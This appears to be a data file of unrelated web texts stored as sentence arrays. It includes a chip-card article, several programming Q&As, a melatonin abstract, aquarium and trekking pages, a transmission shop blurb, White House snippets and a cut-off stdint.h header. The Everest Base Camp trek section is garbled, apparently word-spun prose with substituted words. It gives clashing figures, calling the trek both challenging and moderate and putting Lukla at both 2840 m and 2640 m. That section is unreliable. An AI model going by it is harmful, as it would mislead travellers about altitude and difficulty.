terminal to process the transaction more securely.", "\n\nAn effort must be made to communicate with customers across multiple touch points, including through direct mail and online channels, prior to and after issuance of their new chip card.", "\n\n“EMV brings greater security to transactions, in particular by reducing the potential for fraudsters to create counterfeit cards due to the dynamic data created during a transaction,” Smith explained. “", "Discover has been actively communicating the benefits of chip cards, and how to use them, to our cardmembers over the web and when we issue them new cards.”", "\n\nAs we continue this migration, EMV will bring greater security and safety to U.S. consumers’ card-present transactions.", "\n\nOf course, the U.S. is a huge market, and migrating to EMV will take a significant effort from all stakeholders in the payments industry.", "\n\nLuckily, many U.S. consumers and merchants are becoming more comfortable with emerging technologies, and financial institutions and merchants should make every attempt to educate, and more importantly, dispel these misconceptions.", "\n\nKey industry players have been ramping up public information to continue to increase awareness. ", "Visit www.GoChipCard.com and www.DiscoverNetwork.com/chip-card for more information." ]

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[ "Q:\n\nsql server session in master page and in aspx page\n\nI'm using SQL server session state.", "\nIf I'm using a master page that's calling a few variables stored in the session, and then again use the session later in the aspx code behind, does this trigger:\na) 2 database reads, 1 during the master page process and a second one when the aspx runs.", "\nb) 1 database read, the session is loaded during the master page process and persists during the life cycle of the page.", "\nThanks.", "\n\nA:\n\nMaster pages are user-controls attached to a page, and treated as such. ", "As such, this question applies not just to Master Pages, but to all user controls, custom controls, and standard controls attached to a page. ", "\nSQL Servers stored session state is serialized/deserialized into/from the SQL Server on request. ", " This is not a request of the variable but rather the HTTP request itself. ", "\nIn the page lifecycle, the values are retrieved in the AcquireRequestState event, and pushed in the ReleaseRequesteState. ", " These events are aspects ofthe HttpModule system, and as such are inherited by the Page class. ", "\nSo, to answer your question, there is just a single call at the beginning of the page's life cycle (before INIT) to the SQL Server to get the entire set of session variables regardless of how many variables you have in Session State. ", "Then at the end of the page's life cycle (and this is after RENDER & UNLOAD) there's a second database call to store the session state \n\n" ]

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[ "Q:\n\nRemove AutoCompleteTextView dropdown list divider\n\nIn my application, I'm using AutoCompleteTextView.", "\nOne of the requirements is to hide the divider.", "\nI have added AutoCompleteTextView to layout:\n <AutoCompleteTextView\nandroid:id=\"@id/address_bar\"\nandroid:layout_width=\"match_parent\"\nandroid:layout_height=\"match_parent\"\nandroid:layout_marginLeft=\"15dp\"\nandroid:layout_marginRight=\"8dp\"\nandroid:layout_toLeftOf=\"@id/address_operation_btn\"\nandroid:background=\"@null\"\nandroid:completionThreshold=\"1\"\nandroid:dropDownAnchor=\"@id/anchor\"\nandroid:dropDownVerticalOffset=\"13dp\"\nandroid:dropDownWidth=\"wrap_content\"\nandroid:ellipsize=\"end\"\nandroid:gravity=\"center\"\nandroid:layout_centerHorizontal=\"true\"\nandroid:hint=\"@string/address_bar_hint\"\nandroid:imeOptions=\"actionGo\"\nandroid:inputType=\"textUri\"\nandroid:maxLines=\"1\"\nandroid:saveEnabled=\"true\"\nandroid:singleLine=\"true\"\nandroid:dropDownListViewStyle=\"@style/searchResultsList\"\nandroid:textColor=\"@android:color/white\"\nandroid:textColorHint=\"#80FFFFFF\"\nandroid:textSize=\"17sp\" />\n\nThe style i'm using is\n <style name=\"searchResultsList\" parent=\"@android:style/Widget.", "ListView\">\n <item name=\"android:divider\">@android:color/transparent</item>\n <item name=\"android:dividerHeight\">0px</item>\n</style>\n\nBut the divider is still there...\nHow if can be hidden?", "\n\nA:\n\nOverride it with your application theme. ", "In your themes.xml\n<style name=\"AppTheme\" parent=\"@style/Theme.", "AppCompat.", "Light.", "DarkActionBar\">\n <item name=\"android:dropDownListViewStyle\">@style/DropDownListViewStyle</item>\n</style>\n\n<style name=\"DropDownListViewStyle\" parent=\"@style/Widget.", "AppCompat.", "ListView.", "DropDown\">\n <item name=\"android:divider\">@android:color/transparent</item>\n <item name=\"android:dividerHeight\">0dp</item>\n</style>\n\nCredits to: http://daniel-codes.blogspot.com/2012/11/styling-autocompletetextview.html\n\n" ]

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[ "About Everest Base Camp Trek\n\nEverest Base Camp Trek is one of the maximum famous and dream hiking destinations for travel enthusiasts. ", "Everest Base Camp Trek 14 Days Itinerary : A adventure with the intention to lead you to the base of the world's maximum mountain, Everest Base Camp Trek 14 Days will lead you miles away from the hustle of your lifestyles into the lap of Himalayan nature wherein each individual grow to be one in spite of different culture, caste, religion, and language. ", "Everest Base Camp Trek path is mild with some steep ascends and descends so one can really assist you test your own staying power and increase it beyond that. ", "is one of the maximum famous and dream hiking destinations for travel enthusiasts.: ", "A adventure with the intention to lead you to the base of the world's maximum mountain, Mt. Everest (8,848 m), a adventure for the ones whose dream soars better than clouds, and a journey where one will sense the warmth of the maximum welcoming people, Sherpas in one of the coldest areas of the Earth.will lead you miles away from the hustle of your lifestyles into the lap of Himalayan nature wherein each individual grow to be one in spite of different culture, caste, religion, and language.path is mild with some steep ascends and descends so one can really assist you test your own staying power and increase it beyond that.", "\n\nEverest Base Camp Trek starts with a scenic and exciting flight to starts with a scenic and exciting flight to Lukla . ", "From Lukla, you may ascend up to Namche Bazar via the forested trail. ", "Namche Bazar is the largest Sherpa village and tourist hub of the Everest Region. ", "Taking a break day here, you will trek as much as Tengboche in which you'll go to Tengboche monastery, the oldest monastery of the entire area. ", "Further, the trail will take you all the way up to the Everest Base Camp with a hike to Kala Patthar\n\nEverest Base Camp Trek trail will undergo several villages, dense pine, oak, and rhododendron forests, and rivers together with offering beautiful mountain landscape. ", "On Everest Base Camp Trekking, you'll get to witness some of the 8,000 meters above mountains like Mt. Everest (8,848 m), Mt. Lhotse (8,516 m), Mt. Makalu (8,481 m), Mt. Cho Oyu (8,201 m), and numerous other peaks like Kangtega (6,782 m), Ama Dablam (6,812 m), and Thamserku (6,623 m), Island Peak (6,189 m), Mt. Nuptse (7,861 m).", "\n\nEverest Base Camp Trek difficulty degree is marked challenging. ", "It manner the path is hard and you need to be in precise form to head on Everest Base Camp Trek. ", "A flawlessly planned Everest Base Camp Trek 14 Days Itinerary and a professional manual will assist you reach Everest Base Camps without having any troubles. ", "We, Himalayan Asia Treks and Expedition P Ltd has designed our Everest Base Camp Trek Itinerary including enough acclimatization days in between the adventure to make sure you aren't having any issues. ", "We will ensure with us you're enjoying every 2nd of your Everest Base Camp Trekking14 Days . ", "For any further facts concerning the journey or Everest Base Camp Trek Cost feel free to Contact Us anytime. ", "For more detail information about Everest Base Camp Trek difficulties, Everest Base Camp Trek Training and other information about Everest Base Camp Trek, please check our Everest Base Camp Trek Blog\n\nAccommodations on Everest Base Camp Trek:\n\nOn Everest Base Camp Trek, you will spend overnight in hotel or guest house. ", "The rooms might be on twin-sharing terms with little space and some pieces of furniture. ", "Likewise, washrooms can also be on sharing basis. ", "In Kathmandu, you may stay in beautiful three-big name hotel. ", "Rooms can be big with personal washrooms.", "\n\nEverest Base Camp Trek Difficulties:\n\nEverest Base Camp Trek difficulty is marked moderate by using experts. ", "However, the path can get a bit arduous and hard in a few sections. ", "You must stroll on average of 6 to 7 hours each day and day by day growing altitude may also make the journey challenging. ", "However, with a strong will power, good health, physical fitness, and our professionally designed Everest Base Camp itinerary, you'll easily complete this trek.", "\n\nBest time to head on Everest Base Camp Trekking:\n\nThe best time to head on trekking in Everest Base Camp Trek is from Spring (March-May) and Autumn (September-November). ", "You also can go on Everest Base Camp trek in January, however, the cold climate won't be the excellent healthy for everyone. ", "Similarly, throughout the monsoon the vicinity receives rainfall, which makes the path slippery and dangerous.", "\n\nEverest Base Camp Trek Elevation:\n\nMt. Everest is the very best peak inside the world. ", "The maximum challenging a part of Everest Base Camp Trek is Everest Base Camp Elevation. ", "The first day at the same time as withdrawing from Kathmandu to Lukla, the altitude of Lukla is 2840 meter. ", "Everest Base Camp is the lowest of Mt. Everest. ", "The top of Mt. Everest is 8848m, Everest Base Camp height is 5364m and the very best point of Everest Base Camp Tours is Kala Patthar 5643m. Generally whilst going to Everest Base Camp, we are able to walk 5-6 hours consistent with day and 400m – 700m. Everest Base Camp Trek Altitude starts offevolved from Lukla 2640m to Kala Patthar 5643m.\n\nEverest Base Camp Weather and Temperature:\n\nBefore becoming a member of Everest Base Camp Trek, Trekkers/Hikers need to understand approximately Everest Base Weather and Temperature. ", "December and February isn't always desirable time for excessive passes but decrease Everest is good. ", "In those month little bit snow so climate is good for lower Everest and however not viable in excessive bypass and top Everest. ", "March to May is right season to Everest Base Camp Trek and other Everest Tour Packages. ", "June to August is typically wet season so it’s no longer suitable time to do Everest Base Camp Trek. ", "September to November is called autumn season which is first-class season Everest Base camp Trek.", "\n\nFlight Information approximately Kathmandu and Lukla Everest Base Camp Trekking:\n\nFor going Everest Base Camp Trekking, we ought to fly from Kathmandu to Lukla with the aid of small Twin Otter plane. ", "Lukla airport is Nepal’s domestic airport and Himalaya vicinity airport so there is no extra facility like in different airport. ", "In sometimes, flight can be cancelled or delayed because of mountain weather or some technical issues of aircraft. ", "In that case, you have to pay for additonal days bill in Kathmandu or Lukla. ", "If flight cancelled and you have worldwide flight in such case,\n\nNepal Government has introduced flight time table to Lukla from Kathmandu has shifted from Ramechhap until further be aware to avoid the heavy site visitors congestion traffic in Kathmandu airport. ", "The Ramechhap airport is placed 130KM a long way from Kathmandu and approximately four hours driving.", "\n\nIf you avoid flight from/ to Ramechhap to Lukla to Ramechhap then another alternative is Helicopter Charter for 5 people. ", "Generally Helicopter fee is USD500.00 in keeping with man or woman for one way. ", "Helicopter constitution service is not guaranteed. ", "After affirmation your Everest Base Camp Trek, we are able to coordinate with Helicopter agency for charter for your easy transport." ]

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[ "Melatonin and its potential biological functions in the fruits of sweet cherry.", "\nMelatonin is a well-known molecule which possesses many beneficial effects on human health. ", "Many agriculture products provide natural melatonin in the diet. ", "Cherry is one such fruit as they are rich in melatonin. ", "In order to understand the biological roles of melatonin in cherry fruit, melatonin synthesis and its changes over 24 hr period were systematically monitored both during their development and in the ripe cherries in two cultivars, 'Hongdeng' (Prunus avium L. cv. ", "Hongdeng) and 'Rainier' (Prunus avium L. cv. ", "Rainier). ", "It was found that both darkness and oxidative stress induced melatonin synthesis, which led to dual melatonin synthetic peaks during a 24 hr period. ", "The high levels of malondialdehyde induced by high temperature and high intensity light exposure were directly related to up-regulated melatonin production. ", "A primary function of melatonin in cherry fruits is speculated to be as an antioxidant to protect the cherry from the oxidative stress. ", "Importantly, plant tryptophan decaboxylase gene (PaTDC) was identified in cherry fruits. ", "Our data shows that PaTDC expression is positively related to the melatonin production in the cherry. ", "This provides additional information to suggest that tryptophan decaboxylase is a rate-limiting enzyme of melatonin synthesis in plants." ]

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[ "Deborah gardens as a hobby and enjoys organic vegetables in her kitchen. ", "She keeps a variety of edible plants in her garden.", "\n\nGoldfish are relatively messy, and can be a real pain to aquatic plants in the aquarium. ", "Goldfish chew up and uproot plants from the substrate—that is why some goldfish keepers prefer to just keep a bare bottom tank. ", "I’ve found that placing plants in pots is a great way to keep plants in the tank with goldfish. ", "Plants are good for goldfish, and sometimes even good for the goldfish to eat, but it can be sad to see an expensive aquatic plant chewed beyond what’s salvageable because your goldfish found it extra tasty.", "\n\nWhy Keep Plants In Your Goldfish Tank?", "\n\nLive plants are healthy for fish, as they absorb nitrates and carbon dioxide from the water in the aquarium. ", "Not only do live plants assist in maintaining water quality, they produce oxygen for the fish. ", "It is best to decide what ratio of plants to tank water when preparing the aquarium for goldfish. ", "Coldwater plants are best if the tank will hold many goldfish or will be strictly a goldfish tank. ", "Plants are a healthy snack for goldfish, but it can be disappointing to have a beautiful plant in the aquarium that wasn’t meant to be fish food completely demolished.", "\n\nThis is a selection of plants that are appropriate to keep in goldfish tanks either because goldfish don’t like them or simply because they are hardy enough to stand up to fish. ", "Keep in mind that it doesn’t mean that it is impossible for these plants to be eaten by goldfish, it's just not common.", "\n\nThe Best Aquatic Plants for Your Goldfish Tank\n\nAnubias Amazon Sword Java Fern Bolbitus Marimo Ball Pothos Floating Plant Varieties\n\nBonus Section: Additional Plants to Try\n\nDuckweed is an edible floating plant for fish, it is considered an organic form of fish food. ", "Duckweed multiply quickly, but goldfish will gladly consume the tiny floating plant.", "\n\n1. ", "Anubias\n\nThere are many varieties of the aquatic plant Anubias. ", "It is known as a rhizome plant. ", "It does not need substrate, and is best tied to a rock or driftwood, hence goldfish don’t uproot it. ", "Anubias is a hardy plant, making it ideal to keep with goldfish. ", "It requires low light and it can be grown attached to wood, rocks and even décor. ", "Anubias can be purchased at nearly any pet shop.", "\n\nAnubias can be attached to a rock or décor in the aquarium. ", "This makes it impossible for goldfish to uproot.", "\n\n2. ", "Amazon Sword\n\nThe Amazon Sword is a popular aquatic plant in the aquarium hobby. ", "It must be planted in the substrate, and it also may be potted. ", "It is not easy for fish to chew up. ", "Amazon Sword is a common choice for most aquariums, and happens to be a well suited plant for goldfish.", "\n\n3. ", "Java Fern\n\nJava Fern is a rhizome plant and requires low light. ", "There are multiple varieties of Java Fern, and it also can be attached to rocks. ", "Java Fern will rot if it is put into the substrate.", "\n\nJava Fern is an excellent plant to keep in an aquarium. ", "Goldfish do not chew on this plant. ", "Do not place Java Fern in substrate, it will rot.", "\n\n4. ", "Bolbitus\n\nBolbitus likes the flow of water and is a rhizome plant as well. ", "Bolbitus is an African water fern, and can be attached to rocks in the aquarium.", "\n\n5. ", "Marimo Ball\n\nThe marimo ball is sometimes referred to as a moss ball. ", "One of the best aquatic plants to keep in tanks, it is technically a moss grown in the shape of a ball, making it a healthy choice for goldfish. ", "The moss ball provides oxygen and removes nitrates, but can be conveniently just placed in the tank. ", "The ball-shaped moss is sometimes pushed and rolled around by fish in the aquarium, but rarely destroyed, making it ideal to keep with goldfish. ", "The marimo ball is a popular aquatic plant, and can be found at virtually any fish keeping shop.", "\n\nThe Marimo ball helps maintain water quality in the aquarium. ", "It is also a ball of fun for fish.", "\n\n6. ", "Pothos\n\nPothos is not a true aquatic plant. ", "It is best to only keep the roots of the Pothos plant in the water; the roots essentially help maintain water quality. ", "The plant is an excellent plant to soak up nitrates, and goldfish produce lots of nitrates. ", "It is common for goldfish owners to keep only one plant in a bare aquarium. ", "If someone wants a bare tank with nothing other than goldfish, this is a good choice as a live plant. ", "You may just use a sprig of a Pothos plant in the aquarium to help keep the water clean.", "\n\nPothos is a commonly used plant to place in aquariums to help consume nitrates. ", "The roots of the plant is put in the aquarium, as the top remains above the water. ", "You may just use a sprig of the Pothos plant.", "\n\n7. ", "Floating Plants\n\nFloating plants are excellent to keep with goldfish. ", "The plants provide the benefits of aquatic plants, but float on top of the water making them resistant to the attacks of goldfish. ", "This is a list of popular floating plants:\n\nWater lettuce\n\nDuckweed\n\nWater hyacinth\n\nFrog bit\n\nWater Lettuce is an excellent floating plant for ponds and aquariums. ", "Goldfish come to the surface of the water more often, feeling at home with the barrier of plants.", "\n\nAdditional Plants to Try:\n\nMadagascar Lace\n\nCrinum Calamistratum\n\nWisteria\n\nMosses: Different varieties of mosses, including the common “Java Moss.”", "\n\nHornwort: If eaten, grows quickly.", "\n\nWater Sprite\n\nPennywort\n\nThese plants are not immune to the antics of goldfish, but some aquarium hobbyists have had success with these aquatic plants.", "\n\nJava Moss is often used in aquariums. ", "Goldfish will chew on moss, but moss replenishes quickly.", "\n\nThese are the best aquatic plants to keep with one of the funnest pets to own. ", "Enjoy keeping happy fins. ", "Good Luck!", "\n\nQuestions & Answers\n\nQuestion: Where can I buy the larger sized light-colored hornwort?", "\n\nAnswer: Water garden centers are best to purchase lushy aquatic plants." ]

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[ ".Jason Randall's Transmission Service pledges to all of our customers that we will not remove a transmission from a vehicle in order to complete a repair unless absolutely necessary. ", "We diagnose your vehicle and if we can't fix it you are not charged. ", "We feel like that is just the right thing to do. ", "We also promise to diagnose transmission problems for all of our local and surrounding area customers in an honest and expert manner. ", "You wouldn't want it any other way. ", "Our shop vows to provide prompt and courteous service to all who visit our automotive transmission repair facility in the hope that you will come back to us for all of your automotive automatic transmission repair needs." ]

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[ "User menu\n\nYou are here\n\nPowerful Owl NestCAM\n\nThe Powerful Owl (Ninox strenua) is the largest owl species in Australia and threatened in all states that it occurs in. ", "They breed through the winter, laying eggs late-May/early-June and fledging chicks during August. ", "Due to the difficulty in locating nesting hollows and the physical location of nesting hollows high up in trees it is not easy to see what is happening throughout the breeding season. ", "As part of the Powerful Owl Project, we finally have a nest camera up on a hollow this year (2013). ", "This blog will post weekly videos of the most exciting things happening at the nest for the duration of the breeding season in the hollow (April to August).", "\n\nFilming wildlife can cause detrimental disturbance. ", "All efforts have been made to reduce disturbance to these owls and strict protocols exist around this camera. ", "This work has the approval of the NSW Animal Ethics Committee. ", "This sort of activity should not be undertaken without scientific justification and approval from reglatory bodies.", "\n\nWe have had some technical issues which has limited the footage initially, but I think we are on top of all that now - fingers crossed.", "\n\nFor a brief description of what is happening, click on the ' i ' icon in the top right of the clip" ]

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[ "Aboard Air Force One En Route Washington, D.C. 5:50 P.M. EST MR. ", "HOGAN: Hey, good evening, everybody. ", "Good evening. ", "Obviously, a lot of news to cover today. ", "What I’d like to do, though, is start off at the top with…\n\n“On Thursday, the Dow broke 24,000 for the first time in history on the news that the GOP tax reform plan may soon become law.” ", "Economy showing major progress under President Donald Trump Editorial Las Vegas Review-Journal December 2, 2017…\n\nMODIFYING THE BEARS EARS NATIONAL MONUMENT – – – – – – – BY THE PRESIDENT OF THE UNITED STATES OF AMERICA A PROCLAMATION In Proclamation 9558 of December 28, 2016, and exercising his authority under section 320301 of title…\n\nMODIFYING THE GRAND STAIRCASE-ESCALANTE NATIONAL MONUMENT – – – – – – – BY THE PRESIDENT OF THE UNITED STATES OF AMERICA A PROCLAMATION In Proclamation 6920 of September 18, 1996, and exercising his authority under the Act of June…\n\nUtah State Capitol Salt Lake City, Utah 12:20 P.M. MST THE PRESIDENT: Thank you to a very special man, Orrin Hatch, for the introduction. ", "And that was truly a nice introduction and I appreciate it. ", "You are a true fighter,…\n\n“The Antiquities Act does not give the Federal Government unlimited power to lock up millions of acres of land and water, and it’s time we ended this abusive practice.” —", "President Donald J. Trump RESPONSIBLE LAND MANAGEMENT: President Donald J. Trump…\n\nLDS Welfare Square Salt Lake City, Utah 11:36 A.M. MST THE PRESIDENT: Thank you very much for being here. ", "This is very exciting for me. ", "I know so many people that are in your church — the Latter-day Saints. ", "The…\n\n“Lowering taxes for families and small businesses is a central part of President Trump’s agenda, and we worked together toward this accomplishment for the American people.” ", "Tax Reform: What’s in It for You By Sen. Mitch McConnell The Wall Street…\n\nWashington, DC—Second Lady Karen Pence continues the tradition of decorating the Vice President’s Residence for the Christmas season. ", "This year’s theme is “Make the Season Bright” with metallic ornaments, stars, and candles throughout the residence. ", "There are four Christmas trees…" ]

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[ "10 Reasons You Need to Go to Preview Day\n\n1. ", "Preview Day provides prospective AU students and their families with a sample of the AU experience. ", "You can’t get that from the website or promotional materials.", "\n\n2. ", "Explore AU’s beautiful, thriving campus on a typical day during the academic year. ", "Take a campus tour led by current AU student ambassadors—many of whom decided to come to AU when they came to Preview Day. ", "By the way, did you know AU’s campus is an arboretum? ", "In addition, one of the landscape projects was recently recognized for its eco-friendly design.", "\n\n3. ", "It tells AU’s Office of Admissions that you are interested, which could be beneficial when you apply. ", "AU’s admission evaluation process factors in the extent to which a student has demonstrated interest. ", "A campus visit is the best indication.", "\n\n8. ", "During the Student Life Fair, get more information about the residence halls, dining plans, student activities, and even how you can become a member of the Blue Crew. ", "Also learn about study abroad, opportunities to engage in service projects, the University Library, and numerous other campus offices that provide social, spiritual, health, or academic resources for students." ]

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[ "Q:\n\njQuery delete table column\n\nI have a table and cannot change markup:\n<table>\n <thead>\n <tr>\n <th>\n blablabla\n </th>\n <th>\n blablabla\n </th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>\n efgd\n </td>\n <td>\n efghdh\n </td>\n </tr>\n </tbody>\n</table>\n\nHere is my function, which should delete a column. ", "It is called on cell click:\nfunction (menuItem, menu) {\n var colnum = $(this).prevAll(\"td\").length;\n\n $(this).closest('table').find('thead tr th:eq('+colnum+')').remove();\n $(this).closest(\"table\").find('tbody tr td:eq('+colnum+')').remove(); \n return;\n}\n\nBut it deletes something else, not the column I wanted to delete. ", "Where am I wrong?", "\n\nA:\n\nA column is pretty much just cells, so you'll need to manually loop through all the rows and remove the cell by the index.", "\nThis should give you a good starting point for removing the 3rd column:\n$(\"tr\").each(function() {\n $(this).children(\"td:eq(2)\").remove();\n});\n\nA:\n\nThis uses .delegate() for the handler, and a more native approach using cellIndex to get the cell index that was clicked, and cells to pull the cell from each row.", "\nExample: http://jsfiddle.net/zZDKg/1/\n$('table').delegate('td,th', 'click', function() {\n var index = this.cellIndex;\n $(this).closest('table').find('tr').each(function() {\n this.removeChild(this.cells[ index ]);\n });\n});\n\nA:\n\nThis works fine for me:\n$(\".tableClassName tbody tr\").each(function() {\n $(this).find(\"td:eq(3)\").remove();\n});\n\n" ]

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[ "Q:\n\nnode.js Promises how to handle errors at the highest calling level in nested Promises\n\nI am setting up my test DB in a before() hook, using nested Promises.", "\nIt runs well, but I don't know how to catch the error at the highest level ( in the before() hook) .", "\nLooking in the console.log , when an error is catched in a a nested Promise, it is returned to the previous level as a value... not matched..\ngroup.test.js\n before(() => {\n return utils.clearCollections()\n .then(() => {\n return utils.createSuperAdmin()\n .then(() => {\n return utils.createTestGroups(3)\n .then((insertedGroups) => {\n groups = insertedGroups;\n return utils.addRolesInGroups(groups)\n .then((insertedRoles) => {\n console.log('DONE ! %", "j', insertedRoles);\n })\n .catch((e) => {\n console.log('error %j', e);\n });\n });\n });\n });\n });\n\ntest.utility.js\n export function addRolesInGroups(groups) {\n ...\n return Role.insertMany([roleA1, roleA2, roleA3, roleB2, roleB3, roleC3, role4 ])\n .then((insertedRoles) => {\n console.log('Successfully created test roles in groups');\n return insertedRoles;\n })\n .catch((e) => {\n console.log('Error inserting many: %j', e);\n return e;\n });\n }\n\nconsole.log\nThe error is corrrectly catched in the Promise function addRolesInGroups()\nBUT it is returned to the calling before() hook .. not catched...\nError inserting many: {\"code\":11000,\"index\":3,\"errmsg\":\"E11000 \nduplicate key error collection: cockpit-api-test.roles index: name_1 \ndup key: { : \\\"manager\\\" }\",\"op\": \"__v\":0,\n\"_groupId\":\"5954d45e05206235d308f4d6\",\n\"name\":\"manager\",\"description\":\"can R group, can RW\n user\",\"_id\":\"5954d45e05206235d308f4db\",\"rolePermissions\"\n [],\"permissions\":[{\"resourceName\":\"group\",\"authorizedActions\"\n [\"read\"]},{\"resourceName\":\"user\",\"authorizedActions\"\n [\"read\",\"write\"]}],\"users\":[]}}\n\nDONE ! {\"", "code\":11000,\"index\":3,\"errmsg\":\"E11000 duplicate key error\ncollection: cockpit-api-test.roles index: name_1 \ndup key: { : \\\"manager\\\" }\",\"op\"\n{\"__v\":0,\"_groupId\":\"5954d45e05206235d308f4d6\",\n\"name\":\"manager\",\"description\":\"can R group, can RW\nuser\",\"_id\":\"5954d45e05206235d308f4db\",\"rolePermissions\":[],\n\"permissions\":[{\"resourceName\":\"group\",\"authorizedActions\":[\"read\"]}\n{\"resourceName\":\"user\",\"authorizedActions\":[\"read\",\"write\"]}]\n,\"users\":[]}}\n\nA:\n\nIt's because you don't re-throw cached error, but instead you return new Promise that resolve to cached error.", "\nChange return e; to throw e;\n\n" ]

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[ "// ISO C9x compliant stdint.h for Microsoft Visual Studio\n// Based on ISO/IEC 9899:TC2 Committee draft (May 6, 2005) WG14/N1124\n//\n// Copyright (c) 2006-2008 Alexander Chemeris\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// 1. ", "Redistributions of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.", "\n//\n// 2. ", "Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.", "\n//\n// 3. ", "The name of the author may be used to endorse or promote products\n// derived from this software without specific prior written permission.", "\n//\n// THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n// WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ", "IN NO\n// EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", "\n//\n///////////////////////////////////////////////////////////////////////////////\n\n#ifndef _MSC_VER // [\n#error \"Use this header only with Microsoft Visual C++ compilers!\"", "\n#endif // _MSC_VER ]\n\n#ifndef _MSC_STDINT_H_ // [\n#define _MSC_STDINT_H_\n\n#if _MSC_VER > 1000\n#pragma once\n#endif\n\n#include <limits.h>\n\n// For Visual Studio 6 in C++ mode and for many Visual Studio versions when\n// compiling for ARM we should wrap <wchar.h> include with 'extern \"C++\" {}'\n// or compiler give many errors like this:\n// error C2733: second C linkage of overloaded function 'wmemchr' not allowed\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include <wchar.h>\n#ifdef __cplusplus\n}\n#endif\n\n// Define _W64 macros to mark types changing their size, like intptr_t.", "\n#ifndef _W64\n#if !", "defined(__midl) && (defined(_X86_) || defined(_M_IX86)) && _MSC_VER >= 1300\n#define _W64 __w64\n#else\n#define _W64\n#endif\n#endif\n\n// 7.18.1 Integer types\n\n// 7.18.1.1 Exact-width integer types\n\n// Visual Studio 6 and Embedded Visual C++ 4 doesn't\n// realize that, e.g. char has the same size as __int8\n// so we give up on __intX for them.", "\n#if (_MSC_VER < 1300)\ntypedef signed char int8_t;\ntypedef signed short int16_t;\ntypedef signed int int32_t;\ntypedef unsigned char uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned int uint32_t;\n#else\ntypedef signed __int8 int8_t;\ntypedef signed __int16 int16_t;\ntypedef signed __int32 int32_t;\ntypedef unsigned __int8 uint8_t;\ntypedef unsigned __int16 uint16_t;\ntypedef unsigned __int32 uint32_t;\n#endif\ntypedef signed __int64 int64_t;\ntypedef unsigned __int64 uint64_t;\n\n// 7.18.1.2 Minimum-width integer types\ntypedef int8_t int_least8_t;\ntypedef int16_t int_least16_t;\ntypedef int32_t int_least32_t;\ntypedef int64_t int_least64_t;\ntypedef uint8_t uint_least8_t;\ntypedef uint16_t uint_least16_t;\ntypedef uint32_t uint_least32_t;\ntypedef uint64_t uint_least64_t;\n\n// 7.18.1.3 Fastest minimum-width integer types\ntypedef int8_t int_fast8_t;\ntypedef int16_t int_fast16_t;\ntypedef int32_t int_fast32_t;\ntypedef int64_t int_fast64_t;\ntypedef uint8_t uint_fast8_t;\ntypedef uint16_t uint_fast16_t;\ntypedef uint32_t uint_fast32_t;\ntypedef uint64_t uint_fast64_t;\n\n// 7.18.1.4 Integer types capable of holding object pointers\n#ifdef _WIN64 // [\ntypedef signed __int64 intptr_t;\ntypedef unsigned __int64 uintptr_t;\n#else // _WIN64 ][\ntypedef _W64 signed int intptr_t;\ntypedef _W64 unsigned int uintptr_t;\n#endif // _WIN64 ]\n\n// 7.18.1.5 Greatest-width integer types\ntypedef int64_t intmax_t;\ntypedef uint64_t uintmax_t;\n\n// 7.18.2 Limits of specified-width integer types\n\n#if !", "defined(__cplusplus) || \\\n defined(__STDC_LIMIT_MACROS) // [ See footnote 220 at page 257 and\n // footnote 221 at page 259\n\n// 7.18.2.1 Limits of exact-width integer types\n#define INT8_MIN ((int8_t)_I8_MIN)\n#define INT8_MAX _I8_MAX\n#define INT16_MIN ((int16_t)_I16_MIN)\n#define INT16_MAX _I16_MAX\n#define INT32_MIN ((int32_t)_I32_MIN)\n#define INT32_MAX _I32_MAX\n#define INT64_MIN ((int64_t)_I64_MIN)\n#define INT64_MAX _I64_MAX\n#define UINT8_MAX _UI8_MAX\n#define UINT16_MAX _UI16_MAX\n#define UINT32_MAX _UI32_MAX\n#define UINT64_MAX _UI64_MAX\n\n// 7.18.2.2 Limits of minimum-width integer types\n#define INT_LEAST8_MIN INT8_MIN\n#define INT_LEAST8_MAX INT8_MAX\n#define INT_LEAST16_MIN INT16_MIN\n#define INT_LEAST16_MAX INT16_MAX\n#define INT_LEAST32_MIN INT32_MIN\n#define INT_LEAST32_MAX INT32_MAX\n#define INT_LEAST64_MIN INT64_MIN\n#define INT_LEAST64_MAX INT64_MAX\n#define UINT_LEAST8_MAX UINT8_MAX\n#define UINT_LEAST16_MAX UINT16_MAX\n#define UINT_LEAST32_MAX UINT32_MAX\n#define UINT_LEAST64_MAX UINT64_MAX\n\n// 7.18.2.3 Limits of fastest minimum-width integer types\n#define INT_FAST8_MIN INT8_MIN\n#define INT_FAST8_MAX INT8_MAX\n#define INT_FAST16_MIN INT16_MIN\n#define INT_FAST16_MAX INT16_MAX\n#define INT_FAST32_MIN INT32_MIN\n#define INT_FAST32_MAX INT32_MAX\n#define INT_FAST64_MIN INT64_MIN\n#define INT_FAST64_MAX INT64_MAX\n#define UINT_FAST8_MAX UINT8_MAX\n#define UINT_FAST16_MAX UINT16_MAX\n#define UINT_FAST32_MAX UINT32_MAX\n#define UINT_FAST64_MAX UINT64_MAX\n\n// 7.18.2.4 Limits of integer types capable of holding object pointers\n#ifdef _WIN64 // [\n#define INTPTR_MIN INT64_MIN\n#define INTPTR_MAX INT64_MAX\n#define UINTPTR_MAX UINT64_MAX\n#else // _WIN64 ][\n#define INTPTR_MIN 